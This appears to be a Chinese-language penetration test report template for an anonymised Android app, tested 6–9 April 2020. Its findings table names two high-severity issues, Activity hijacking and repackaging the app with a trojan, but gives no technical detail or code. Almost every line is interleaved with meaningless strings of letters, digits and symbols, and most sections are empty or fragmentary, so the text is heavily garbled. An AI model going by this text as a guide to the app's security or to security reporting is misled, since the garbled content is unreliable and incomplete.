" j; T9 h+ \4 _
) x) M$ [4 l1 R. y+ P1 i4 y' c ( n1 }+ b$ Z5 c) T- o8 i
5 m0 M* z) w/ P5 [2 R' V' O% j
* q9 e/ s- R- R
- w3 f) q' b/ K+ ]' Q
; t9 Z. k( o; H2 j8 G9 y6 L! j3 h$ o, h; N* K9 M
& w0 F. ?/ i1 Y9 v/ a. r
0 n( n: D8 J& q9 X; Y + i: k+ \: U, {9 S
# n/ Z* C6 }% J Y. |1 i x5 R0 ^" g 文档编号:
: L7 C' D- ?1 X4 F- `; n2 u1 w
5 L6 `4 W0 Z$ K% ^/ A% [- u5 s
0 M- s2 F: ^' G& j; t
/ Z3 K+ l8 |& e5 \/ A g" h
# k! P% d& m4 W5 H' u7 {' F
: i9 d0 |4 i/ r% T
. i7 ?1 G7 X/ U# y+ z" Z( C) F( p; B& U+ {' C0 m
, T0 ]0 K- Y6 d, o% b0 [' w
, s* ^: U0 J( O1 h2 A% \) U . K3 m% G0 [ S4 V: B r' Q
3 W/ A2 `' p' W" l! e
+ z0 [0 I2 C7 x, E& B% M7 c
) u2 g9 j9 Q: |0 A0 {% ^
5 t0 r9 E2 \+ `' c! R% y! p: Q: J
: g# L8 H) ~" Q/ ?/ w- k/ Z 4 y7 [2 J7 A f* i3 W" q3 u# y
' r( ?) \) D5 I2 A: x. | ; _2 K! I! f! S- T4 _: Y" U% B9 R
1 s3 M+ h7 A4 Q& S \) z9 x
% H5 y7 ^7 F: ?/ K# b
) D$ ]1 t4 \* f, q5 z7 U" Z8 }
% m; a: T' n+ u) U2 |: b+ r% T) z) q# u! R/ w* C
, R |" B2 z9 f) B+ Y" f9 K J3 p5 V) ^/ M
2 ^6 I1 J- c: p8 v: ?6 }; h1 U5 f* f# Y7 T, L' o6 [! y
% n8 _5 p$ a s$ Z1 _! s) @% w" a* `6 Z% E" e2 W: e9 f1 y
' t" b! x; P i- T7 i
3 Y& e2 L2 w' S
! B' \3 L+ }( f8 F; d+ f I3 }( `* s6 y+ u3 \8 R
+ n: A% \5 |/ s! A* g8 O) K6 V9 I( y# }4 P0 F. F! b# h
某某某APP渗透测试 ' Q% A! v$ g' L+ ]* }& U6 R/ U5 g4 K+ ]) {
( @ k0 s E2 g6 l
1 _" v5 D8 W% d0 t
" O, r2 r9 t e' I6 f
J- h: @; O& k0 {& H& f W
! d, B8 M2 P: c( |6 i5 T
. R- }7 o9 H2 C1 H1 [
( q3 T2 v; b2 h" B
9 a3 E2 e$ k3 f0 f) `
1 y7 L- ^9 P4 f; ]/ q
) C3 D: V$ ]- g6 j# y
9 K8 b9 _, M$ J# b9 r. G
/ p/ C8 ^$ b$ m7 g
* R7 U A. h' W) }
: }+ j R9 `7 O; I9 O6 v5 P* J3 M; i3 w, g
% S' B. D1 o& ^1 W4 W3 i! Q, O
4 d u7 L9 k) W' Y/ {9 Z- v
/ ~& e; k4 t: d" x6 C, S. C: K
4 c* @6 T* @( c/ A. _7 a
& t2 Z% \1 D8 \# }1 x; g& [- Z0 w0 l6 @4 t1 z0 g" u
7 c- X. w9 N l/ }
7 V6 ~# G. [: u* W1 [* e6 u
& h; r/ k% }% t6 d1 A) h8 R/ p! g8 h
) L" t0 F. y. Y- ]4 P* Z0 c
( @* `, Q6 d9 T6 \* H6 I
9 }- E9 S+ R e4 G
2 Z$ F# s$ z9 T. @/ P7 \$ _5 t- }7 T3 b# n4 r% R1 M, r
技 术 报 告
$ K; Z$ m7 Z) o- q7 X8 a8 o
0 P* c) C/ W" x# y
5 e- P d# k" d
* ]& Y2 i9 u8 K6 ] 7 l0 n j' X( r! P7 X$ r
. E( s8 J2 a! K / s$ d; D/ i5 [$ m
( W6 b9 Q U9 h: G
/ h! w. e. |' f$ r: V9 ]
+ o' p/ ]6 h" q# \
+ q g7 O* T0 k* I% d i! A f2 i; q: p' ^3 D& s3 k
5 }, w! P+ O" h. j; ~9 U( _, u* P( O; o9 S5 k- T v% T7 g( h
. `1 f4 q3 D4 H& f
' ]; L" @! ~& c
* n/ N8 b6 ^! p. ^9 B$ W" }
4 e9 }: b% ]! q, [9 I* B , ^8 \8 w- K- F; F# j' b h* i
- O5 a& u# P" o, H( ?
2 ^1 z( G6 t3 N( R
0 s+ D1 }4 Y" y2 U' D
4 Y# M3 q. F# h* L3 Q7 x; ?2 ~7 G3 @& c& \" `* u
& K% v! y$ ^) R0 p; m7 o7 D$ a0 A! J# F6 r9 o2 j+ X" k
# u8 a( j1 L3 y7 e
# O+ I. d/ _1 n6 u# p
6 J) L, p+ F6 z" N) v- x7 X5 u% K; k# I$ e. {: g$ m. M. \0 ~6 h
8 s2 p, i. M @" E$ h
& E# L8 x8 f3 g1 z: Q
: O l2 b/ q+ x" w( M7 r* r% m @& d* O' C y5 Y4 }. w7 _
# j) W" {' w; s& ^$ Z) \
# g* t! u% J+ @; a* g8 S! i
0 `1 I2 g" {) b' X( m: g1 ?
2 L- A/ J( }. _
9 V, ~% I/ i0 N* S
W. N9 o2 O# G& J2 g
! t8 i$ H9 B" k1 A5 q
! L; r, }& X: O1 W% z2 W
" X7 x! `* V& }4 V8 R/ B2 e
1 C6 P. ^* @; v& g' J' t
7 C O" S l5 T8 }* y: J' \/ B3 q& a) z U+ F
8 W4 G9 D1 X* T: S" ?
- l) h0 {% R1 Y: l ; h$ Q9 v# m: D4 D1 D
0 M; W2 A% H7 p* k% D1 t; w2 z+ X$ ~
4 {9 m7 g0 }- v/ v4 p( i. O+ ^; H' {- |
, s3 P1 U: \% c- X1 @" b' B/ K) W- ]6 }5 r4 F. \
& q* S% C$ h8 @$ B2 T) P! A! m. u$ j: B! j- Z7 ^7 V
% ~8 Z" P! N0 o0 c! \
: \8 K& d) ^. `" c' e% [
: l: `6 `$ T& n) [ H6 q# Q
- p! F \: R* \ : }: q3 i( q& ~" k/ `& Q
& S% L6 U) Z* u
& ^8 j' O/ S. ~+ n
+ x% Y7 j6 |8 E8 k , q- \0 W3 |/ I& W
$ |" L( X% A5 q- `# a
' {( E' T! R" i3 m# P: N0 v% V3 B& h4 w$ y2 \7 Q
" `( a, _5 D+ H. ^
5 }1 T% B* E" J
: y- p0 [2 Y$ j4 [: ?& U* L% _+ _' \
8 O) s/ G5 m: d6 G
- G0 z; P5 j+ O6 |; n B) o
* X# Q. f7 o* P3 D1 Z8 j8 O/ l: k9 o' C, x0 w& A
+ A3 E5 E' z# w: c' u2 }1 O1 D' p X$ ]+ e3 i/ w9 {$ I$ d( m/ A+ l
1 f5 W' F# G) w9 W b+ G! a( J$ x, c' e" z5 d- x9 B' v+ L, [' J% M0 g/ L
) M. ]) P4 Q' O7 E. H- X, d/ d5 H1 c3 E4 V/ o% ]
, Z+ l. q' V1 l/ ^
5 @- |: s, x6 U
1 A+ [, r8 u) B( P9 Q$ \: M5 Q k. c2 B! r5 B7 i, W
P0 Y1 |( w- s9 L/ E8 b9 }1 M
; |5 `. h+ j) _0 S4 E' x' f1 x
9 _% x; r, M/ @7 L; _
) D! K: `( S0 Q `- D7 J; l1 }* T
; d: d0 ?; }, h- g# B
# G) r" ?! }! T d% y
/ x# Z' k2 c5 U8 {: k6 t
3 q. {/ ]: z5 r0 d* ~; C# a
& [. r1 e: i6 W1 l" T1 p( z
3 S" T) h" _5 i$ S% m6 H$ b
. ^; p) `. ~! V5 K
( ?6 A& [9 |2 L1 H8 A
7 X* ~1 K3 |9 ~1 c' U5 x0 F 9 s: _5 ] G/ K6 a1 L
# r4 d# E% |' W. Q ) @! G1 N v) s6 |: Q; _; U! `
) S' M+ _: Q: ^8 S- [
m" h. N. S5 x& O+ V
$ x) \4 i- P0 f( b |( V/ S& H- ?; ~
+ z! ?" S3 |2 p8 i- r3 Z5 k$ L$ x# @
, z4 [. ]/ g; ^7 n3 B4 ?, l# W- ^% v: T& f) z% ^% z. _
2 ?, ~7 j$ D; f( j+ r& {% B5 Q
- I! N% i2 w4 W7 q& K
( Y/ ?6 O8 R$ L7 N. |
+ f: N" Q0 u0 l/ k9 W1 l
二〇二〇年
" b5 f! G B% L6 A" X# V
( @5 \+ x$ g& Q; u: {9 }+ b! |4 g
" E1 r+ f4 o/ f6 N N8 b. @% e
# }3 \5 V: M9 v0 L, N* ^ 8 u. x" Y0 }% W
- p( z& z8 f9 J1 r6 v. a
: N1 I6 F6 R9 f
; @2 p& X# V- f' `
2 i6 X2 _, Z& f3 B$ U, [! Y; N0 Z8 R- Y; Z
9 U2 V* c9 {( F2 f, e. l# F. c
* x( I" s2 i1 q
/ f- l' ^, u, R, @
# O0 u, S3 A- N5 F1 E. e' b
. T. M' V: N! D7 j6 h: B7 c& Z* P6 I6 M- `/ o7 J' B
- n2 Q; R3 g4 }# d- x! |
" O8 F7 x# r0 ^4 b * ~* l( Z8 n) J
% h+ u5 w& B' A7 g I- f, _5 g/ W# z- S* T+ R
' [; D0 z, Q: i3 n% J: d% `4 V% Z 目 录 2 [( L6 j; d/ [0 r4 @
4 X" M% t) ]% X1 \" g
3 ]/ y n/ q$ O) t! A1 x
0 C; P+ ?, U& A* v
/ Z% f& h) \: s) E; H; v; \" F- u8 F0 K, C5 s4 ]
# \% Z- [$ Z4 k) u: c% m
2 Z, P, T' x N) G9 G( h
/ p7 m# H2 K9 u+ \2 [
2 Z/ W, G* h3 G/ W& }. X3 L
7 {9 L: E9 X6 |, H
0 e$ ]- M) H3 |- I
+ p7 Y) \# P: M; l& i, H6 s5 r
' e" Z& u% R; S7 m. e. c 1 概述... 3
6 [, J- `0 w2 p" ~2 D4 i( k
( `. i- M a0 ?% g
9 x$ [8 n1 B, x9 P: l H. O2 z
) w9 H- \7 d& ]3 b1 g- r
9 I P: v" g" s$ O$ C, s$ w
# T' V8 y& n% h/ o% v
1.2测试时间... 3
/ B1 ~4 i2 @( m; y3 k3 k3 |6 T; }4 P( Z( ]& Q8 s
0 K( l+ x3 c* W7 l# C1 ~5 _
4 Q( h: U+ c |. k
1 v S2 K% Y) o. Z% i; p/ M
1 |) l8 z# X+ V. O0 B
1.3测试对象... 3 - C0 |/ r1 d. z8 N" R
4 `$ Q9 G" c# [/ X: k) ?# r
# T/ O- M6 Y% ^
- ?: C* @( K. |* @
! G+ h2 B2 t) w, A+ Q! k+ l* n; V4 g/ G' {& y5 T. N
1.4测试结果... 3
/ \: |" K; R4 }* K- J2 d% ^" o/ j: N D) S
" i5 e( _8 l+ t# r* p) A, W
7 r+ |7 r: K& f1 ~ / ^! k$ C+ k* W g
. W2 S( P6 A3 I7 Z; a/ Z. k 2 检测结果... 4 ! ~* e$ G$ d& `& l1 d; s/ D* F
Y! T) P3 ^7 g+ J5 N
}# V8 P4 [# x; H i
' b! }( }9 J" f4 _$ d9 ^/ w
2 h7 |/ L- I# g' w' s
! n) y, |+ J# a+ c3 s1 I5 Q0 S 2.1 某某某... 4
+ Z' {9 s4 x* [$ d, A' d |1 G$ d- `2 Y' @
% d M$ y" r+ V$ [7 A: T
0 y6 O0 S. [7 t ' i1 x. ]; k8 P b$ u3 s
. A" e3 j) Y( i 2.1.1检测目标... 4
6 |2 u, }6 ] K5 e0 F
8 q3 Q4 t& _. i; D
5 A8 [) H# D7 u2 ?& h$ m
0 o2 i6 R" w! a& y2 P3 d _6 S
" Z" y% t! W* z/ o
3 t1 J+ J N5 y6 \4 u 2.1.2检测结果... 4 # E. v! f0 B" v; M I9 V
7 D9 s) k* p9 [3 k' K' g; o
+ r7 Q4 T$ o) z6 w' ]6 G& ^5 z0 Q( t
9 q3 I T' P1 N p& b2 {' E
6 F5 ^( y) u% O) m 2.1.2.1. 4 9 c Y8 z" D$ B* \& i/ ]
6 e% Y5 ]$ z( G: K" Q7 d0 }
* C; a! H! [! r$ F3 d* @: g$ q# Z, I h
: p$ d% W! H: X0 t& g$ z7 y! A6 n. M/ ^
2.1.2.2. 6 3 z, _& H- S* V
+ p: m1 S; |9 c! ?/ |
$ j& ?" V3 ^9 \: o. h. x$ b t- C2 J/ D' t. C/ b# }) k
$ \; X) ^' O/ c& n
. ?# z0 t9 }* R& X! d, V- Z
" `$ K6 _% A" u& e& E; m- Y2 ^% B1 n
' c( h1 h2 B, ^5 P* x" ]: R! O" Z* `5 W* _, d, }8 W
- H% R$ F8 l, E8 |/ ^
* g( r. J. y; c- E# E ' J8 V( E M' k* k3 D! B; K8 N( E
* ~+ s a. i( ~* L- Y: f* R* `
& H' e( l4 A `: U
: \0 a. H- q* G- K! w! E * D4 b8 x% h U: g( c
, F1 \0 V) [( I! |6 ]! D8 t# u
2 t7 g t' N# Q5 Y
2 d6 a1 D/ y1 g0 r 1 概述
: p* o: r* i3 a4 |" Z$ l, H
; \, N: H% F. B# G. A
- P; I' k- U, j
% |; c' A: z) w , m" t" @+ q6 j' A
+ O: ?! G y8 }+ h; ^3 B# V
1.2测试时间
' Z5 X4 Y# Z( I0 u+ f, i
0 M1 E) J6 Z. l7 L7 e' L
9 g2 q4 m3 t& @. A2 R
, ~# Y0 b9 u# g
& p+ n6 f# J$ ?4 K* P) y
M* s. {+ T( t f0 u1 b# r7 F" Y3 j5 d
$ ]! h. m. s: h) @
! y- k$ y0 z* o; ~
0 q! x& w! y: X H% L; u
0 g) F1 U3 f- D, z+ H4 D L5 G | 8 e; @4 h9 l! }) w
7 q5 A9 n$ X& e( u5 \* l 0 M9 S# ]2 [. U6 T1 X- V
6 |. Z5 x8 D3 V2 f. L K
渗透测试时间 * F2 ?/ l2 o+ `- ?. n% k
/ V8 V' I+ t7 b
; n# X* O" K2 N& f* Y3 b5 z5 C) Q7 {" E: C/ F2 g
| 6 A: ~5 a) s f! J
% v9 t% y& R" n" V
! c5 f3 ]& n% @5 M7 _0 u% ]/ W
1 u! o( [' T% }, \( a
; k3 @4 Q( v& j C- F8 l3 |
+ Q' b9 \& A) g9 f |
0 j; N* p$ \" c) r) } i1 G6 \# i: _9 y
- K+ B3 g8 p2 }+ O" J, v1 e( \& O! N! M
起始时间 7 F0 _! E) B7 Q* n; v3 z2 @ w
" K+ {0 K9 E @. U
( K9 b# S( c& x
4 [6 u! s0 ^8 R p9 H4 t | 3 P3 l# I: O- t; K, G% b8 V" s
# U6 q% y& ]& X6 j) {( C0 M- @' @
! s1 s# e6 Q& B# q
8 C9 D6 F( T+ K+ t0 Z0 e- \
2 D5 r+ U- A$ L" g
1 a+ _6 s: E0 H 2020年4月6日 i6 u2 q% r- ]& d7 ]: X# d6 |
$ B0 H( S! X, k0 p/ U+ l
, x( g" w: m% l! p7 K
0 x G _+ ~) R+ J, D. P* l$ ~ |
3 L$ D3 x2 g) q1 W4 G( q
0 G6 f) `& i0 a% H5 ]
, ]) n( \; R# A0 w9 B3 K q3 n
+ L1 K5 L, g9 a" j0 z' ^6 Y
: T# q1 r; X- K) Z | # G; C4 D6 Q/ {9 y$ N0 ~
% B- n! a4 _8 k2 X5 |" e2 H
7 q2 X Z% W. Q( @
) Y+ R4 b5 ~5 ^2 q! y$ t0 X5 s0 N 结束时间 " M2 x' I" i1 N8 o! I- X7 z. l _
) [% R4 M* h2 [/ X+ I
6 Y6 W" Y4 G7 u3 g! O- Q4 z
( K* e9 W, U, r" h1 s. n |
0 t9 W2 \! ~- S! ^7 a6 d# G
# \2 P8 R4 u1 [- o" C8 {
- ]7 P! p. b5 j9 q$ x) H2 \4 I4 X- M4 n$ ]7 x) q
$ l9 U8 ?2 F/ X2 w
" Q' E, U {7 ?/ Y& O- p+ Z 2020年4月9日
/ |! O( o, g$ h+ {8 t
4 |/ @/ k4 v+ b
9 v/ `, k/ Q% B8 a/ r+ I/ R% K8 ^& H& g( G
|
+ F, A$ Q# r/ F
6 F4 B+ I8 R7 K0 q* i2 J/ t
8 G5 N+ A* N/ M+ D! |$ B; |" J2 ^8 h' J/ {! a
3 U- T- P5 [- t) r+ U" Y( ]. O/ H( m. o- f* e
1 @* t8 J7 \9 _* o i" S2 ^; T: n$ P ~
0 y0 ^! x. n$ \2 q* N+ s& Z# o( o0 X/ ^, J
1.3测试对象
0 R! U q# y+ |; Z/ J r# w8 J4 }
. d0 d; h$ y4 b2 o' N* U
$ L* C3 M6 x9 k& k% ?5 v8 Y
3 ~9 F; r7 H. S1 F- G& K2 H% B' a N
0 q; L9 i$ x" E' {+ o$ z
+ }" d) f- H# C- ? 此次测试目标为某某某安卓APP进行渗透性测试,APP存在安全漏洞数量如下表所示:
1 y: @* R7 w+ y# R- ^% a, K+ V7 B1 K( c7 @
% P1 L7 R9 n5 S$ i2 B8 j+ B
% N, H; {0 L/ h, D8 c8 N; h
F, v! R n' _ L H8 e! `8 V+ y' X6 ]% c+ e6 g% i }9 @% z9 T
表1-1 检测对象 " ?) \) s/ ?0 Q. n, b ~/ ]' u F
' \3 x8 w; x8 W
+ Y; m" b3 t+ V7 z
' {; ~: O' B- @) M : @: L% b; ~$ d
# h$ \* O' a1 j0 o# K
9 r- s! t! D7 s7 y/ z. Y
6 J# Y( g* h O9 y3 W: i1 t( K
& v: j. Z$ G* j2 |- \
! k& |0 h( Y7 P0 V0 F6 ~5 [$ I! y |
7 }; b3 Q6 _8 u/ J4 H6 B2 n" [% ?# m Q4 z5 U; |+ Y
% c4 y4 u) k1 J% o
4 h/ P" I' Z4 U
序号 ; m9 J4 A% b$ k) V5 R# O8 r& u
- p$ E1 o" Z- J
. E" p- W2 O/ M1 N6 h- p$ _" y4 q% P7 K3 N6 K5 W3 }- d5 I
|
& Y) |: }2 s* z9 U( K2 [: f- n; |* c f( e8 X4 u6 \
. N; W/ G- \( N+ Y8 z1 T# l) ^
3 {7 b& E2 T" x 5 G/ _# O& M5 }- b& h) l0 g! Q9 }; n. d
0 R9 ~; Z+ p$ S* j) |) E8 e$ A
测试对象
4 r# G4 e6 G7 _ m/ q9 a; s0 Z: B* N6 r+ W% P+ s2 s
* H8 L: z3 ^6 Z2 g6 u; k! S3 f
. D" ]3 h' Q, B. S [ |
8 \4 D( y j4 @. M4 n0 ~% a6 I7 t/ X' K( J+ t' |3 t
, x/ y9 H& H) a! g: s2 ^
5 s! Y& V4 D, F
- n$ r% Y3 c! l/ Z' j- z) L) O2 v3 o
& b- @' F f$ r/ v+ ^9 Y 测试地址 $ ^8 Q# l; T% U$ b) i+ P
0 [" y: Z8 n5 M0 F
4 k- n9 \, C! A( C( c0 z9 j0 B" H
* l0 @$ V/ k, `) { | , u7 L5 H/ ?, m
* P0 B$ A; h1 U& a0 V5 q 4 b$ E# S1 F8 H* E, S' q
8 v4 n% G/ s8 O, Y$ u
1 ^/ W2 D. G1 g J6 X! D4 W
, t8 C2 N) e! H' n" Z8 } W 安全漏洞
' |8 }6 {. {" M2 ^: [7 g* N* z4 U- j- P; k2 W. R
1 e; W3 z/ g5 D- B; e) T$ I
1 h8 Y# |: i$ t8 w* ` |
! e, q* t1 \% Z/ m9 D7 t2 b+ Y# E# p4 U0 Z. Z9 h
$ B% X |7 W) R
7 |, a' p: `% y" I! ^& C' ?6 v& P2 b
' Z5 m: q% v' o. E, `
* `+ h4 j- }5 E, ?, j | " |" w# Q# R3 c1 @1 ^: |
' i4 ?0 R1 U2 L
0 B# U/ ]6 g: @6 ~" X) O1 y6 D, `0 J# P* ^/ u* f
1
% n$ Q3 y$ G& S
" _, y$ m% O) v3 z+ Z
! ~2 \: W2 N o8 p
" m0 l! c; k6 G/ w | y* }' A; f- [1 U. @
# l* k# W) i9 y2 x$ a8 l
/ R7 P0 K7 `/ J# `7 o7 c
7 Z* W% b$ g) [, K
r+ Q3 @5 G- m8 C% o y5 e8 T+ S. B7 l6 v& a' l) Q
某某某安卓APP
7 z7 h( @4 G6 R: h, v# ]8 _6 S8 g
' K1 Y( u( L( w& E# }2 T. |6 S" g
|
1 s3 `- n# W( Q; d8 T) K
/ b+ W0 |) u4 Y9 R, j* ?
8 Q/ g7 h& d3 ]3 I
: T, t# h J" u2 {+ I
7 m" F$ X6 C4 m0 V) _4 _8 J% [7 _8 S$ X' \: u
Q9 Q9 ?4 }: i6 v
2 c0 w' g& e8 S Q 1 n) s: r( S: h, r
8 P9 q* {; L- V0 E+ T | . h6 p5 H& R* x$ Z& Q( \
' x8 f$ i% O4 j* [0 k ; @; N' E9 K' s/ X, {7 e8 v9 X
8 R3 t+ n% P4 ^% n( j3 h6 J% D: o- s
6 z7 d8 P+ q+ i" D4 ~. \3 f' k* F$ q4 H
2
2 t7 c" w% f! h5 ^ `. j# n. H% d4 E" F" ?! e$ g3 N l
) c/ \& L- R5 s( i
" D5 F# j- M" H+ s
| $ s# k9 k8 [% e- `. m( Y
5 B5 l/ D& \$ D) x d! J2 `
& Q! U4 i! i! _, r* \- i3 ~! ]# e
0 ~* \& V0 Z z! t
5 N* _. m3 V. L1 \9 Q- g; U9 p, Q$ Y* W; {3 x8 g
* V+ B& |4 g0 F) p2 c
, G8 f5 W4 }# X+ v7 ]* ]! @3 L, K ; G( k( h j4 D$ y% H& X
. i, [1 u' y+ G$ Y- i7 ~
1.4测试结果
1 p( W" k, b; v ?$ w! [5 u9 x6 \/ w) s: t/ o+ q
; S5 f6 s/ ]* P# H- Y0 C9 [: F
# u) B/ t6 Q9 Q4 b3 L / i" f: {! O) k' X7 H
. B- ]: E& S0 ^- `6 V 在本次对某某某APP透测试中发现,APP安全防护存在一定问题,主要问题如下所示:
0 l7 x. t0 C# m3 B. }0 W2 n: e# B f+ z
$ ]2 k7 H( @2 N- D+ W! `1 X5 ]- |
5 ~5 Q* @5 A o( f. I
; L0 r# {1 |& \* x; z8 I7 E0 P, @9 M1 E7 Z7 z8 ]* \ a% P+ G
7 y% M' H& H, Y c8 L* U |
R+ y7 u/ Z( A4 b2 `8 y
: U5 |* M. E+ b" A' M2 {/ q9 h% }1 t, Z" {) D
7 H! n5 t. f$ i- v4 w8 e; p4 _' V$ C# l& O ?
' N* w! t H- L. d, D3 \0 D7 P
3 N( P$ O; j+ E7 H% k
) |. \! G X6 P6 M5 X: ^8 D
. B' ^) Q: i2 E( a: T 3 b: @. V g6 C* |8 |* |
* ?& H' W$ F. }( \# G" {; p+ @; E |
0 K5 j9 L5 P9 `' H0 L B2 `/ z) _- R: H$ P* W6 n9 h
4 \: f# H% f4 U: t
4 `2 b% t/ ]( {. y! ^ 序号 8 p ^5 x v" K$ D/ b) v
8 N, J4 c9 k1 t8 u, K% }. W 0 ^) b4 `: Q$ J6 S" s, y
2 E1 V/ Y( u& h, E( S Q | % h; @$ @3 y1 T4 y
3 p2 z+ W: v4 H) ~. [, S* k" t$ p
% o4 H- w; g4 m; m- n8 h
* s! Z, G$ @ I' l1 N: I4 r1 }+ K, L+ u . b! b" U. j; s" C7 e, J) V. O# Q
; I+ b- z S4 i9 ~0 E; m
系统名称
$ O+ r- n* E% b# }( a D# q
K+ A, R5 [1 r, i , _2 }% ?2 p2 E0 l# p
5 [& d. p) J4 | |
8 e& h1 y2 }' N% J/ o
. u/ X% T* ?( z# N
5 b' x! |: q- m5 V X1 `" m6 o! Q7 C9 v. u
/ i- Y# A4 G6 E4 s0 m
1 P# L4 ?, \7 p3 x1 J! @8 V+ P 漏洞名称 : f2 G: ^7 E0 B6 G4 T+ n
2 z! c- }. Z) C/ d: f& Z" n: A
# Z3 I0 Q X ]$ l9 z: e( `6 |3 t
$ A: f4 O1 y6 J" a8 u | 0 t" }, q' Q: S* Z% j$ \' Y
2 p& h" n# g7 u7 p; b
) M$ k. _5 x4 m$ c; Q' H8 Y
% k' y- X2 \9 Q5 l4 e! E
% K/ ^1 l. G6 u$ k3 h. Y
% \* k( \8 Y; M d$ `9 S 漏洞危害
3 x- @: H4 `# E. J7 q4 ^$ C, }5 R' a
0 b0 ^+ p# b, l" n+ Z9 Y8 B% x8 _) |0 q
| 0 c6 _' ]$ E. |+ d- P
& L. [& g7 @9 u! i" z- s- m - C# N# V" }. o; H. M
; ` c {3 e: ~( _3 g# K. I" D
$ |6 [' Q/ q1 N) s9 F# o$ C
) f1 C* E! A3 ^* e6 i! K 修复结果
# |4 f/ @' P; ~$ t5 p( V6 X# f& q( Z/ v5 k, a( I
. M' D& R7 B. X+ ]5 Y. t
+ `) z* ]. |0 m3 a, Y& ? | " r$ N* ~2 a0 G& ?, x$ y: L" w0 {
0 h+ V3 P9 s( `7 J f/ u O$ ^8 N
; E3 ^2 F) v" S
+ e, B* V) d# F; I/ v: i
/ x) s- L* W& i! w o: u
0 b$ q; e# ?; Q5 s0 s; \* | | i: ^2 B+ T6 B) M
8 K( b/ M0 C* T* H
! Z# I* X! F8 T3 }8 p" L
7 l7 d% B' n7 c 1 $ N1 z9 _+ G6 w% q: K
5 _' b3 C/ s/ F! O& F
7 K) s% a' o8 s# N
9 H7 P. ]2 R8 w5 j r5 l | $ ?) z! q% J4 j: c) s
8 q. V& j; ?% L7 \2 U4 g & }5 W9 b; G+ s8 g% f. ^
+ H2 D; W0 D a$ _* z
2 e& K& b9 v4 x7 t5 n* i7 Q
; T1 _0 _; `6 J8 G8 C 某某某某某某APP ( z0 _7 Z, u# E
, n0 Z# T% [' b* ?% ~, X
$ k8 ~0 V5 v {9 _
& C1 S4 F$ Q; R& i
|
$ s" U4 E; N! C/ `* J& M6 v$ [! D- \
; X3 `1 S8 ]2 B 4 M9 Z; I; M. _% P& ?
+ Z1 }1 p8 u# `4 K/ E! B) F% V
: _+ A* r3 i T
) n3 ?, W/ { n3 v! R6 X1 F Activity 劫持
* |; {' _: m: i$ G0 o2 _2 y0 ~
! Q2 \$ I0 J+ W 1 ^7 V+ `0 Y. b( f8 m
6 ?( X& h( w; F* T: M: E! V
+ ]0 p1 l& Q( F, Q7 h- J" G1 _- i* C( r9 j/ L
. u: a- X# @' |! l3 B
7 `# ?, \; m( \
% c" G# \9 \0 }$ H3 I
2 ~5 h. p5 e2 c3 n' |0 @' S# @ |
3 V- z6 @' ?; t; @; b, r, y1 J: E
# h- u' r% @& M% o; ?- C; M 0 V1 v( `0 K' | @: d: q8 K
7 u4 _) @2 |; b* P8 E2 N4 |, T6 w% C
! T' @" F9 g r: M+ q8 W6 b. c1 D9 L5 Z; b3 b Z* |: a* x
高
$ e g# W( ?9 l6 V$ Z; C% F: ]# c) Z7 y" J" w; ]& E$ q
0 X- k+ [) i# u% [! O: Z5 z4 a5 X9 N* J+ m5 u% u7 e" r$ o& ?* V( `
|
" ^, G1 \& N. P4 ?5 Y' _
5 |% e8 s! ] e
9 O+ C9 N+ H8 c' s* P1 p7 a
: o& W, y, w" Z+ F
7 |/ p: K/ w5 r# Z! y3 t, O! E
`% d5 d! G( m/ V5 P 4 @. n8 Y8 M- m. m2 U- l
$ F% L2 {# n: E- I4 Q. r
) A0 Z8 n# h' C2 J1 B& ]+ Q- [" m+ R
|
/ r6 `6 d" I7 Z3 Z) V/ `
- K. S& ?! E' H4 a4 h, O
2 j1 a) Q# Q! v: N5 H1 y- [
/ s7 Y5 i: v( ^# | : ~7 A7 d/ D( ]# ?# ]6 \8 x$ s
& |- c7 K# P+ T4 C j. M |
$ o$ m/ M- A" n. \* F/ ?* c- M) L' M" j g8 k! z
" ]3 l- K# ~$ E& } w9 y4 B" m
! g z1 ]3 W7 U/ F( t: }4 z+ ~
2 . o+ l* J% j7 ]% {6 B: P. x2 B
. A( d `& v2 p1 w
' ^ i' s$ h+ P4 g% J3 b
5 d7 T; O) f' v | , w& p+ d O- N$ R( U' ^( W& |) a
- v/ F6 n; E; O2 ?
$ E1 M) f2 z& g! t, ]( `
: }' n; O5 \8 J/ I5 d
3 G8 c$ e& L% P% {+ o. U; \9 I: ~! ], E- i, v
某某某某某某APP 4 p3 r/ \9 }3 Q) {& y
& E1 O3 P- S$ ]! s0 N9 U7 E5 y$ [
, q1 A; o r ?" i: P+ m f/ G% i) f' G
|
, }7 T! A) z* S, G5 N$ }7 ~
0 T) R; r9 m2 K7 @( {- x0 t& [ % o& S# Z% r! |+ X+ S, f
8 r- e3 V1 j) I) G2 i
3 B0 b9 ^% C+ |( I* ^8 L
2 B! B: d# l* R; B/ ~ 反编译二次打包捆绑木马、篡改APP代码
- i! n# Y4 T5 X) q. k) _& \" Q& Z6 s0 y
, O/ C9 i9 {) `+ g* D; H
( d. V# @; n D! Q ~) {. Z( r | / U. I7 i# m1 z$ S( P1 f
# g0 W0 O* J! O
* @) u4 h4 E- V. m$ j* f: c. h
/ U; J+ H: ?% W& j$ W* W: ^- C
) u, S, B1 s- q) S* X b9 y9 c5 [9 E7 Y- U h$ M7 L( U/ ~! V4 C
高 0 c$ ?' u6 `2 t+ C; w2 ^
0 V c# s" S) |9 J' K# }
2 N% G% P9 U# }0 T9 s1 p8 |5 |
t( U0 z1 [0 b- @1 r | 1 @5 a) g; ?- ]2 k
) X J6 c3 P# f2 H4 t, [ B3 v
. s- T/ W7 M9 K. }' `! ^0 k0 @! }9 f9 K3 \6 l" n( u
* b5 L# d; r3 c$ r v
5 W+ h2 J% G0 N8 v% [) I$ J
7 q# Y; L2 L" I# q8 U, E% }* q8 c7 ?- j3 ]4 t1 |6 ?
R9 q, n0 n2 o# c& J
' X @7 E" x6 Z% v; @3 ` W |
7 j& ^5 H" t( U% \6 [) k/ W) [2 a3 @1 t" t
8 C* A" b7 V7 S' Y0 b
! u# p; D2 W3 M& ]. b* E 9 y+ B) U9 Q: l2 U0 ?# _6 ?! Y) T0 [
7 z- ?# l; b. w5 x. W5 Y, s
+ T1 U" f& z7 ~7 U" f& S Y7 N8 p( E* U! ]! X. S6 x4 B
0 y0 o3 ^. X$ k4 i! l* v0 w6 O, q# ]' J* @
( G" f5 {1 ~/ r( M: d3 r0 | ?' D
; F" I, K; C: m& K3 ]7 i3 S4 a& ?$ G
6 z7 [' m6 y: ]2 T1 [, k; F: ^4 Z+ Z* O( `& }
6 }5 q! d0 Q) R4 c5 A: j
* y& _+ c" `9 S4 v
